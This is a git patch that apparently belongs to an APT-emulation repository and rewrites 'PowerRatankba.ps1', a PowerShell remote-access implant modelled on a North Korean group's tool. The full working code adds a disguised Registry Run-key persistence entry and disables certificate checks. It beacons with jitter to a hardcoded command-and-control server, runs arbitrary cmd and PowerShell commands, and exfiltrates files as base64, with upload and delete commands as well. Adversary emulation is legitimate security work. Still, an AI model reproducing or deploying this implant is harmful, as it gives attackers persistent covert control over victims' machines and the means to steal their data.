From 98ad2c40722c9f7addbdde6005606f97976f6666 Mon Sep 17 00:00:00 2001 From: S3N4T0R <121706460+S3N4T0R-0X0@users.noreply.github.com> Date: Mon, 29 Jun 2026 08:43:50 -0400 Subject: [PATCH] Modify persistence and server interaction in PowerRatankba.ps1 Refactor persistence mechanism and update server communication. --- .../Stardust Chollima/PowerRatankba.ps1 | 612 ++++++++++++++++-- 1 file changed, 574 insertions(+), 38 deletions(-) diff --git a/North Koreans APT/Stardust Chollima/PowerRatankba.ps1 b/North Koreans APT/Stardust Chollima/PowerRatankba.ps1 index 994a641..b53808e 100644 --- a/North Koreans APT/Stardust Chollima/PowerRatankba.ps1 +++ b/North Koreans APT/Stardust Chollima/PowerRatankba.ps1 @@ -14,54 +14,590 @@ public class TrustAllCertsPolicy : ICertificatePolicy { [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -# Persistence via Registry (Run Key) + $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -$regName = "Payload" -$regValue = "powershell -ExecutionPolicy Bypass -File $PSCommandPath" -Set-ItemProperty -Path $regPath -Name $regName -Value $regValue - -$server = "https://192.168.1.14:1111" - -# Checkin -$checkin_data = @{ } | ConvertTo-Json +$regName = "HTTPSClient" +$regValue = "powershell -ExecutionPolicy Bypass -File `"$PSCommandPath`"" try { - Write-Host "[*] Sending checkin..." - $response = Invoke-RestMethod -Uri "$server/checkin" -Method POST -Body $checkin_data -ContentType "application/json" - $session_id = $response.session_id - Write-Host "[+] Checkin successful: $session_id" + Set-ItemProperty -Path $regPath -Name $regName -Value $regValue -ErrorAction Stop + Write-Host "[+] Persistence added to Registry: $regPath\$regName" } catch { - Write-Host "[-] Checkin failed: $_" - exit + Write-Host "[-] Failed to add persistence: $_" } -# Loop to get commands -while ($true) { - Start-Sleep -Seconds 3 - try { - $cmd_resp = Invoke-RestMethod -Uri "$server/get_command?session_id=$session_id" -Method GET - $cmd = $cmd_resp.command - if ($cmd) { - if ($cmd -match "`r`n|\n") { - # Multiple lines -> write to temp .bat file - $tempFile = [System.IO.Path]::GetTempFileName().Replace(".tmp", ".bat") - [System.IO.File]::WriteAllText($tempFile, $cmd) +$SERVER_IP = "192.168.233.230" +$SERVER_PORT = 1111 +$SERVER_BASE = "https://${SERVER_IP}:${SERVER_PORT}" +$AUTH_ID = "254fa37e-5681-4da9-8d36-305854cc8b08" +$DEFAULT_USER_AGENT = "Mozilla/5.0" - $output = cmd.exe /c $tempFile 2>&1 | Out-String - Remove-Item $tempFile -Force -ErrorAction SilentlyContinue - } else { - # Single-line command - $output = cmd.exe /c $cmd 2>&1 | Out-String +[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -bor [System.Net.SecurityProtocolType]::Tls11 -bor [System.Net.SecurityProtocolType]::Tls + + +$script:SessionId = $null +$script:URIs = @("/support/troubleshoot") +$script:CurrentUserAgent = $DEFAULT_USER_AGENT +$script:SleepTime = 0.0 +$script:StartJitter = 0 +$script:EndJitter = 0 +$script:PREPEND_OUTPUT = "" +$script:APPEND_OUTPUT = "" +$script:GET_CLIENT_HEADERS = @{} +$script:POST_CLIENT_HEADERS = @{} + +function Get-URL { + return $SERVER_BASE + ($script:URIs | Get-Random) +} + +function Get-RequestHeaders { + param([bool]$IsPost = $true) + + $headers = @{ + "User-Agent" = $script:CurrentUserAgent + } + + if ($IsPost) { + $headers["Content-Type"] = "application/json" + foreach ($key in $script:POST_CLIENT_HEADERS.Keys) { + if ($script:POST_CLIENT_HEADERS[$key] -and $script:POST_CLIENT_HEADERS[$key].Trim()) { + $headers[$key] = $script:POST_CLIENT_HEADERS[$key] } + } + } else { + foreach ($key in $script:GET_CLIENT_HEADERS.Keys) { + if ($script:GET_CLIENT_HEADERS[$key] -and $script:GET_CLIENT_HEADERS[$key].Trim()) { + $headers[$key] = $script:GET_CLIENT_HEADERS[$key] + } + } + } + + $cleanHeaders = @{} + foreach ($key in $headers.Keys) { + if ($headers[$key] -and $headers[$key].Trim()) { + $cleanHeaders[$key] = $headers[$key] + } + } + + return $cleanHeaders +} - $send_data = @{ - session_id = $session_id - output = $output - } | ConvertTo-Json -Depth 3 - - Invoke-RestMethod -Uri "$server/send_output" -Method POST -Body $send_data -ContentType "application/json" +function Invoke-Checkin { + $payload = @{ + action = "checkin" + token = $AUTH_ID + } | ConvertTo-Json + + try { + $headers = Get-RequestHeaders -IsPost $true + $url = Get-URL + + $response = Invoke-WebRequest -Uri $url -Method Post -Body $payload -ContentType "application/json" -Headers $headers -UseBasicParsing + + if ($response.StatusCode -eq 200) { + $responseData = $response.Content | ConvertFrom-Json + + if ($responseData) { + $script:SessionId = $responseData.sid + + if ([string]::IsNullOrEmpty($script:SessionId)) { + return $false + } + + if ($responseData.ua) { $script:CurrentUserAgent = $responseData.ua } + if ($responseData.sj) { $script:StartJitter = [int]$responseData.sj } + if ($responseData.ej) { $script:EndJitter = [int]$responseData.ej } + if ($responseData.sl) { $script:SleepTime = [double]$responseData.sl } + if ($responseData.ur) { $script:URIs = @($responseData.ur) } + if ($responseData.pre) { $script:PREPEND_OUTPUT = $responseData.pre } + if ($responseData.app) { $script:APPEND_OUTPUT = $responseData.app } + + return $true + } } } catch { - Write-Host "[-] Error: $_" + + } + + return $false +} + +function Apply-Jitter { + if ($script:SleepTime -eq 0) { + return + } + + if ($script:StartJitter -eq 0 -and $script:EndJitter -eq 0) { + $finalSleep = [Math]::Max(0, [Math]::Min(900, $script:SleepTime)) + if ($finalSleep -gt 0) { + Start-Sleep -Seconds $finalSleep + } + return + } + + if ($script:StartJitter -gt $script:EndJitter) { + $temp = $script:StartJitter + $script:StartJitter = $script:EndJitter + $script:EndJitter = $temp + } + + if ($script:StartJitter -eq $script:EndJitter) { + $script:StartJitter = [Math]::Max(0, $script:StartJitter - 1) + } + + try { + $jitterAmount = Get-Random -Minimum $script:StartJitter -Maximum $script:EndJitter + $finalSleep = $script:SleepTime + $jitterAmount + $finalSleep = [Math]::Max(0, [Math]::Min(900, $finalSleep)) + + if ($finalSleep -gt 0) { + Start-Sleep -Seconds $finalSleep + } + } catch { + if ($script:SleepTime -gt 0) { + Start-Sleep -Seconds $script:SleepTime + } } } + +function Execute-CMDCommand { + param([string]$Command) + + try { + if ($Command -match "&") { + $parts = $Command -split "(?&1 | Out-String + $allOutput += $result + } catch { + $allOutput += "[-] Error: $_`n" + } + } + } + return $allOutput + } + + if ($Command -match "\|\|") { + $parts = $Command -split "\|\|" + $lastError = $null + + foreach ($part in $parts) { + $part = $part.Trim() + if ($part) { + try { + $result = Invoke-Expression "cmd /c $part" 2>&1 | Out-String + if ($result.Trim()) { + return $result + } + return "[+] Command executed (no output)`n" + } catch { + $lastError = $_ + continue + } + } + } + return "[-] All OR commands failed: $lastError`n" + } + + if ($Command -match "&&") { + $parts = $Command -split "&&" + $allOutput = "" + + foreach ($part in $parts) { + $part = $part.Trim() + if ($part) { + try { + $result = Invoke-Expression "cmd /c $part" 2>&1 | Out-String + $allOutput += $result + if ($LASTEXITCODE -ne 0) { + $allOutput += "[-] Command failed, stopping AND chain`n" + return $allOutput + } + } catch { + $allOutput += "[-] Error in AND chain: $_`n" + return $allOutput + } + } + } + return $allOutput + } + + $result = Invoke-Expression "cmd /c $Command" 2>&1 | Out-String + if ([string]::IsNullOrEmpty($result.Trim())) { + return "[+] Command executed (no output)`n" + } + return $result + } catch { + return "[-] CMD error: $_`n" + } +} + +function Execute-PowerShellCommand { + param([string]$Command) + + try { + $result = Invoke-Expression $Command 2>&1 | Out-String + if ([string]::IsNullOrEmpty($result.Trim())) { + return "[+] PowerShell command executed (no output)`n" + } + return $result + } catch { + return "[-] PowerShell error: $_`n" + } +} + +function Browse-Directory { + param([string]$Path) + + try { + if ($Path.StartsWith("~")) { + $Path = $Path.Replace("~", $env:USERPROFILE) + } + + if (!(Test-Path $Path)) { + return @{ + success = $false + error = "Path does not exist: $Path" + current_path = $Path + parent_path = $null + items = @() + } | ConvertTo-Json -Compress + } + + $items = @() + try { + $entries = Get-ChildItem -Path $Path -Force -ErrorAction Stop + } catch { + return @{ + success = $false + error = "Permission denied to access $Path" + current_path = $Path + parent_path = $null + items = @() + } | ConvertTo-Json -Compress + } + + foreach ($item in $entries) { + try { + $isDir = $item.PSIsContainer + $modifiedTime = $item.LastWriteTime.ToString("yyyy-MM-dd HH:mm:ss") + $sizeBytes = if ($isDir) { 0 } else { $item.Length } + + $items += @{ + name = $item.Name + type = if ($isDir) { "directory" } else { "file" } + size = $sizeBytes + modified_time = $modifiedTime + } + } catch { + continue + } + } + + $items = $items | Sort-Object @{Expression={$_.type -ne "directory"}}, name + + $parentPath = Split-Path $Path -Parent + if ($Path -match "^[A-Za-z]:\\$" -or $Path -eq "/") { + $parentPath = $null + } elseif ($parentPath -eq $Path) { + $parentPath = $null + } + + $result = @{ + success = $true + current_path = $Path + parent_path = $parentPath + items = $items + } + + return $result | ConvertTo-Json -Compress + } catch { + return @{ + success = $false + error = $_.Exception.Message + current_path = $Path + parent_path = $null + items = @() + } | ConvertTo-Json -Compress + } +} + +function Download-File { + param([string]$FilePath) + + try { + if (!(Test-Path $FilePath)) { + return "ERROR: File not found: $FilePath" + } + + $fileInfo = Get-Item $FilePath + $filename = $fileInfo.Name + $filesize = $fileInfo.Length + + $fileData = [System.IO.File]::ReadAllBytes($FilePath) + $fileDataB64 = [Convert]::ToBase64String($fileData) + + return "file-data:${filename}|${filesize}|${fileDataB64}" + } catch { + return "ERROR: $($_.Exception.Message)" + } +} + +function Upload-File { + param([string]$FilePath, [string]$FileDataB64) + + try { + $fileData = [Convert]::FromBase64String($FileDataB64) + $directory = Split-Path $FilePath -Parent + + if ($directory -and !(Test-Path $directory)) { + New-Item -Path $directory -ItemType Directory -Force | Out-Null + } + + [System.IO.File]::WriteAllBytes($FilePath, $fileData) + return "SUCCESS: File uploaded to $FilePath" + } catch { + return "ERROR: $($_.Exception.Message)" + } +} + +function Delete-File { + param([string]$FilePath) + + try { + if (Test-Path $FilePath) { + Remove-Item -Path $FilePath -Force -Recurse -ErrorAction Stop + return "SUCCESS: Deleted $FilePath" + } else { + return "ERROR: Path not found: $FilePath" + } + } catch { + return "ERROR: $($_.Exception.Message)" + } +} + +function Rename-File { + param([string]$OldPath, [string]$NewPath) + + try { + if (Test-Path $OldPath) { + Rename-Item -Path $OldPath -NewName $NewPath -ErrorAction Stop + return "SUCCESS: Renamed to $NewPath" + } else { + return "ERROR: Path not found: $OldPath" + } + } catch { + return "ERROR: $($_.Exception.Message)" + } +} + +function Execute-Command { + param([string]$Command) + + if ([string]::IsNullOrEmpty($Command)) { + return "[no command]" + } + + if ($Command.ToLower() -eq "ping") { + return "pong`n" + } + + if ($Command -match "^browse:") { + $browsePath = $Command.Substring(7).Trim() + if ([string]::IsNullOrEmpty($browsePath)) { + $browsePath = (Get-Location).Path + } + + try { + $items = @() + if (Test-Path $browsePath) { + Get-ChildItem $browsePath -Force | ForEach-Object { + $items += @{ + name = $_.Name + type = if ($_.PSIsContainer) { "directory" } else { "file" } + size = if ($_.PSIsContainer) { 0 } else { $_.Length } + modified_time = $_.LastWriteTime.ToString('yyyy-MM-dd HH:mm:ss') + } + } + } + + $result = @{ + success = $true + current_path = $browsePath + parent_path = (Split-Path $browsePath -Parent) + items = ($items | Sort-Object { $_.type -ne 'directory' }, { $_.name.ToLower() }) + } + } catch { + $result = @{ + success = $false + error = "$($_.Exception.Message)" + current_path = $browsePath + parent_path = $null + items = @() + } + } + + $jsonData = $result | ConvertTo-Json -Compress + $base64Data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($jsonData)) + return "browse-data-${base64Data}`n" + } + + if ($Command -match "^download-file:") { + $filepath = $Command.Substring(14).Trim() + if (Test-Path $filepath) { + $fileData = [IO.File]::ReadAllBytes($filepath) + $filename = [IO.Path]::GetFileName($filepath) + $fileDataB64 = [Convert]::ToBase64String($fileData) + return "file-data:${filename}|$($fileData.Length)|${fileDataB64}`n" + } + return "ERROR: File not found: $filepath`n" + } + + if ($Command -match "^upload-file:") { + $parts = $Command.Substring(12).Split('|', 2) + if ($parts.Count -eq 2) { + $filepath = $parts[0] + $filedataB64 = $parts[1] + + try { + $fileData = [Convert]::FromBase64String($filedataB64) + $directory = [IO.Path]::GetDirectoryName($filepath) + if ($directory -and !(Test-Path $directory)) { + New-Item -ItemType Directory -Path $directory -Force | Out-Null + } + [IO.File]::WriteAllBytes($filepath, $fileData) + return "SUCCESS: File uploaded to $filepath`n" + } catch { + return "ERROR: $($_.Exception.Message)`n" + } + } + return "ERROR: Invalid upload format`n" + } + + if ($Command -match "^delete-file:") { + $filepath = $Command.Substring(12).Trim() + if (Test-Path $filepath) { + Remove-Item $filepath -Force -Recurse + return "SUCCESS: Deleted $filepath`n" + } + return "ERROR: File not found`n" + } + + if ($Command -match "^rename-file:") { + $parts = $Command.Substring(12).Split('|', 2) + if ($parts.Count -eq 2) { + $oldPath = $parts[0] + $newPath = $parts[1] + try { + Rename-Item $oldPath $newPath -Force + return "SUCCESS: Renamed to $newPath`n" + } catch { + return "ERROR: $($_.Exception.Message)`n" + } + } + return "ERROR: Invalid rename format`n" + } + + $upper = $Command.ToUpper() + if ($upper -match "^EP ") { + $psCommand = $Command.Substring(3).Trim() + return Execute-PowerShellCommand -Command $psCommand + } + + if ($upper -match "^EP") { + $psCommand = $Command.Substring(2).Trim() + return Execute-PowerShellCommand -Command $psCommand + } + + return Execute-CMDCommand -Command $Command +} + +function Get-Tasks { + if ([string]::IsNullOrEmpty($script:SessionId)) { + return $null + } + + $payload = @{ + action = "get_tasks" + sid = $script:SessionId + } | ConvertTo-Json + + try { + $headers = Get-RequestHeaders -IsPost $true + $url = Get-URL + + $response = Invoke-WebRequest -Uri $url -Method Post -Body $payload -ContentType "application/json" -Headers $headers -UseBasicParsing + + if ($response.StatusCode -eq 200) { + $data = $response.Content | ConvertFrom-Json + if ($data -and $data.command) { + return $data.command.Trim() + } + } + } catch { + + } + + return $null +} + +function Submit-Output { + param([string]$Output) + + if ([string]::IsNullOrEmpty($script:SessionId)) { + return + } + + $encrypted = $Output + $finalOutput = $script:PREPEND_OUTPUT + $encrypted + $script:APPEND_OUTPUT + + if ([string]::IsNullOrEmpty($finalOutput)) { + $finalOutput = "[no output]" + } + + $payload = @{ + action = "submit" + sid = $script:SessionId + out = $finalOutput + } | ConvertTo-Json + + try { + $headers = Get-RequestHeaders -IsPost $true + $url = Get-URL + + Invoke-WebRequest -Uri $url -Method Post -Body $payload -ContentType "application/json" -Headers $headers -UseBasicParsing | Out-Null + } catch { + + } +} + +function Main-Loop { + while ([string]::IsNullOrEmpty($script:SessionId)) { + if (Invoke-Checkin) { + break + } + Start-Sleep -Seconds (Get-Random -Minimum 20 -Maximum 60) + } + + while ($true) { + try { + $command = Get-Tasks + if ($command -and $command.Trim()) { + $result = Execute-Command -Command $command + Submit-Output -Output $result + } + Apply-Jitter + } catch { + Start-Sleep -Seconds (Get-Random -Minimum 30 -Maximum 120) + } + } +} + + +Main-Loop